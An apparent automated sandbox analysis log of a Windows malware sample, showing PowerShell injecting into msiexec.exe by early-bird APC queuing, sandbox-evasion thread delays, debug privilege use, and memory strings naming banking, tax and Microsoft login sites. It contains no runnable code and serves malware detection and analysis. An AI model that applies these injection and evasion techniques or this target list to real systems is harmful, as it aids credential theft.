Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599407	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599282	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599157	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599032	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598919	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598804	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598668	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598447	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598016	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597907	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597782	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597563	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597438	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597313	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596949	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596844	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596719	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596238	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595667	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595449	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 593860	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6053			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3639			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7232	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -33204139332677172s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1120	Thread sleep count: 7324 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1120	Thread sleep count: 2500 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -599657s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -599532s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -599407s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -599282s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -599157s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -599032s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -598919s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -598804s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -598668s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -598447s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -598016s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -597907s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -597782s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -597672s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -597563s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -597438s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -597313s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -597188s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -597063s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -596949s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -596844s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -596719s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -596610s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -596485s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -596360s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -596238s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -596110s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -595985s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -595797s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -595667s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -595449s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -595344s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -594985s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -594860s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -594735s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -594610s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -594485s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -594360s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -594235s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -594110s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -593985s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3096	Thread sleep time: -593860s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Rundholterne89.exe	Code function: 0_2_00406033 FindFirstFileA,FindClose,		0_2_00406033
Source: C:\Users\user\Desktop\Rundholterne89.exe	Code function: 0_2_004055D1 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,		0_2_004055D1

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599407	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599282	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599157	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599032	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598919	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598804	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598668	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598447	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598016	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597907	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597782	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597563	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597438	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597313	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596949	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596844	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596719	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596238	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595667	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595449	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594985	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594860	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594735	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594610	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594485	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594360	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594235	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594110	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 593860	Jump to behavior

Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - NDCDYNVMware20,11696501413z
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696501413o
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696501413h
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactiveuserers.co.inVMware20,11696501413~
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696501413j
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696501413
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - COM.HKVMware20,11696501413
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - EU East & CentralVMware20,11696501413
Source: msiexec.exe, 00000006.00000002.2603668887.000000000069A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696501413
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696501413
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - non-EU EuropeVMware20,11696501413
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696501413t
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - HKVMware20,11696501413]
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - COM.HKVMware20,11696501413
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - HKVMware20,11696501413]
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696501413\|UE
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696501413j
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696501413x
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696501413
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactiveuserers.comVMware20,11696501413}
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696501413}
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696501413x
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696501413t
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactiveuserers.comVMware20,11696501413
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696501413
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696501413
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696501413
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696501413x
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696501413s
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696501413f
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696501413
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactiveuserers.comVMware20,11696501413
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696501413\|UE
Source: msiexec.exe, 00000006.00000002.2603668887.000000000063A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413^
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696501413x
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696501413x
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696501413
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696501413h
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696501413}
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactiveuserers.co.inVMware20,11696501413d
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696501413x
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696501413s
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - EU East & CentralVMware20,11696501413
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696501413t
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696501413t
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - EU WestVMware20,11696501413n
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696501413u
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactiveuserers.comVMware20,11696501413}
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - GDCDYNVMware20,11696501413p
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - EU WestVMware20,11696501413n
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696501413u
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - NDCDYNVMware20,11696501413z
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - non-EU EuropeVMware20,11696501413
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactiveuserers.co.inVMware20,11696501413~
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactiveuserers.co.inVMware20,11696501413d
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive userers - GDCDYNVMware20,11696501413p
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696501413
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696501413^
Source: msiexec.exe, 00000006.00000002.2626954688.00000000245BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696501413o
Source: msiexec.exe, 00000006.00000002.2626954688.000000002429D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696501413f

Source: C:\Users\user\Desktop\Rundholterne89.exe	API call chain: ExitProcess graph end node			graph_0-3316
Source: C:\Users\user\Desktop\Rundholterne89.exe	API call chain: ExitProcess graph end node			graph_0-3164

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

Code function: 6_2_002ED044 LdrInitializeThunk,LdrInitializeThunk,

6_2_002ED044

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Early bird code injection technique detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe

Jump to behavior

Writes to foreign memory regions

